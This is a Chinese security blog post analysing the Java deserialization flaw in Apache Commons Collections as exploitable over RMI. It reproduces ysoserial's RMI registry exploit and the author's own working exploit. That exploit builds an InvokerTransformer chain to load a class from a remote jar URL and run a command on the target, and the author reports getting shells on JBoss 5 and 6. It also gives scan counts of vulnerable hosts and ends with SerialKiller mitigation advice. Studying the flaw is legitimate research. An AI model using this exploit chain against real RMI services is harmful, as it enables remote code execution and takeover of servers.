• JAVA反序列化操作ObjectInputStream类的安全漏洞分析
  • 钟槿琦 发表于 2016/2/23 16:12:00 | 分类标签: 安全漏洞 多线程 序列化
  • Java在进行反序列化操作的时候会使用ObjectInputStream类调用 readObject()方法去读取传递过来的序列化对象字节流进行处理,利用 Apache Commons Collections 库恰好可以构造出了一个在反序列化操作时能够自动执行命令的调用链。如果服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用,并且程序中运行一些比较危险的逻辑,就会触发一些意想不到的漏洞。该漏洞在最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS中都可实现远程代码执行。

    正文

    前一段时间热炒的Java反序列化漏洞,大家在玩的很嗨的时候貌似忽略了一件很重要的事情——Java在CS架构的设计中使用序列化传输是非常普遍的现象,而在像JBoss这种中间件也使用这种设计。所以,我在一边研究这个漏洞,一边看大家嗨嗨的玩的同时,也很好奇在一些通过Java实现的CS架构应用(比如:大型国企都喜欢用的会计软件、内容发布系统),是不是也会用到Apache Commons Collections这个库。

    不知道是不是研究Java Web的大神们都在闷声发大财,这次这个漏洞的分析文章大多都停留在那个老外blog中的各个中间件的利用玩法上,却没有注意到Java Web中常见的架构都会因为这个问题而沦陷。而且除了长亭之外的文章,其他各家的修复建议大多都是针对利用来进行修复,治标不治本。

    0x01 大规模利用原罪——RMI

    在分布式遍地走的如今,很多使用Java开发的Web也都使用了分布式分发的结构,比如我所了解的很多大型组织都会在后台部署一些Java应用,用于向对外网站发布更新的静态页面,而这种发布命令的下达使用的就是RMI。

    我们先看下RMI在wikipedia上的描述:

    Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

    Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

    更加令人警示的是RMI的传输过程必然会用到序列化和反序列化,那么如果RMI服务端接口对外开放,并且服务端使用了像Apache Commons Collections这样的库,很容易被攻击者窥视。

    0x02 被忽略掉的关键内容

    breenmachine的原文中,有不少的地方描述了关于反序列化漏洞对于RMI的影响,比如:

    Java LOVES sending serialized objects all over the place. For example:

    In HTTP requests – Parameters, ViewState, Cookies, you name it.
    RMI – The extensively used Java RMI protocol is 100% based on serialization.
    RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects.
    JMX – Again, relies on serialized objects being shot over the wire.
    Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come.
    RMI的传输100%基于反序列化。

    还有这个:

    If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit.

    如果你看到了1099端口,这是Java RMI的默认端口。RMI默认使用序列化来完成所有的交互。这是非常常见的漏洞,就像我们写出的OpenNMS exploit。

    《Exploit 5 – OpenNMS through RMI》这个小节,都是在介绍RMI的利用情况,但是都被大家忽略掉了,这令我很费解。

    0x03 Exploit的构造

    RMI的Exploit构造相对比较容易,对于了解Java编程的同学应该很简单的就可以写出来了。这里我们简单的来分析一下ysoserial这个工具中对于RMI利用的实现。
    public class RMIRegistryExploit {
    public static void main(final String[] args) throws Exception {
    // ensure payload doesn't detonate during construction or deserialization
    ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
    Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
    String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
    Class<? extends ObjectPayload> payloadClass = (Class
    <? extends ObjectPayload>) Class.forName(className);
    Object payload = payloadClass.newInstance().getObject(args[3]);
    Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
    try {
    registry.bind("pwned", remote);
    } catch (Throwable e) {
    e.printStackTrace();
    }
    try {
    String[] names = registry.list();
    for (String name : names) {
    System.out.println("looking up '" + name + "'");
    try {
    Remote rem = registry.lookup(name);
    System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
    } catch (Throwable e) {
    e.printStackTrace();
    }
    }
    } catch (Throwable e) {
    e.printStackTrace();
    }
    return null;
    }});
    }
    }
    这段实现代码中,使用了Java中Proxy的形式对于构造的攻击payload进行了封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型。这样用最大的好处就是payload足够的通用,可以应对多种不同的应用。但是,对于我们目前被大多数人所使用的基于Integer格式报错的回显方法,这种封装影响格式异常的回显。所以,在想要获取回显交互的情况下,这个工具并不是太好用。因此,我重新写了一个用于实现回显的工具,RMI利用部分代码如下:
    public class RMIexploit {
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
    final Constructor
    <?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    return ctor;
    }
    public static void main(String[] args) {
    String ip = args[0];
    int port = Integer.parseInt(args[1]);
    String remotejar = args[2];
    String command = args[3];
    final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    try{
    final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(java.net.URLClassLoader.class),
    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {
    new Class[]{java.net.URL[].class}}),
    new InvokerTransformer("newInstance", new Class[] {
    Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) }}}),
    new InvokerTransformer("loadClass",
    new Class[] { String.class }, new Object[] { "ErrorBaseExec" }),
    new InvokerTransformer("getMethod",
    new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}}),
    new InvokerTransformer("invoke",
    new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{command}})
    };
    Transformer transformedChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, outerMap);
    Registry registry = LocateRegistry.getRegistry(ip, port);
    InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
    Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, h));
    registry.bind("pwned", r);
    其实内容很简单,就是在原有的payload生成代码后面加上了RMI的调用。这种写法我针对Jboss5和6系列的版本进行了测试,均可以在JMXInvoker删除的情况下获取shell。我们在后期对该问题影响进行扫描的结果,可以证明这个Exploit并不仅仅只是针对Jboss有效,而是针对整个RMI协议。

    PS:在我自己测试过程中,Jboss4系列貌似并没有直接的使用RMI,所以无法使用本小节给出的Exploit编写方法完成攻击。还有就是Jboss7,我发现貌似已经不开放RMI相关协议端口了(也许是我下载的姿势不对),所以也没有测试成功。

    0x04 RMI漏洞影响

    我们使用我们自己的全网扫描平台SEER对于1090和1099端口进行了全网扫描:

    1090和1099端口全球开放 3754959 台,其中将端口用于RMI交互的主机53170 台,占比14.16%
    存在反序列化漏洞 5875 台,占比 11.04%
    存在漏洞的主机中,Linux主机 3946 台,其中可以直接获得root权限的主机 2531 台,占比 64.14%;Windows主机 1929 台,其中可以直接获得管理员权限的主机 425台,占比 22.03%
    0x05 修复建议

    因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在GitHub上放出了一个临时补丁SerialKiller。

    下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

    以上引用长亭科技文章中的修复建议,lib地址:https://github.com/ikkisoft/SerialKiller。

  • 请您注意

    ·自觉遵守:爱国、守法、自律、真实、文明的原则

    ·尊重网上道德,遵守《全国人大常委会关于维护互联网安全的决定》及中华人民共和国其他各项有关法律法规

    ·严禁发表危害国家安全,破坏民族团结、国家宗教政策和社会稳定,含侮辱、诽谤、教唆、淫秽等内容的作品

    ·承担一切因您的行为而直接或间接导致的民事或刑事法律责任

    ·您在编程中国社区新闻评论发表的作品,本网站有权在网站内保留、转载、引用或者删除

    ·参与本评论即表明您已经阅读并接受上述条款

  • 感谢本文作者
  • 作者头像
  • 昵称:钟槿琦
  • 加入时间:2013/6/13 0:00:00
  • TA的签名
  • 这家伙很懒,虾米都没写
  • +进入TA的空间
  • 以下内容也很赞哦
分享按钮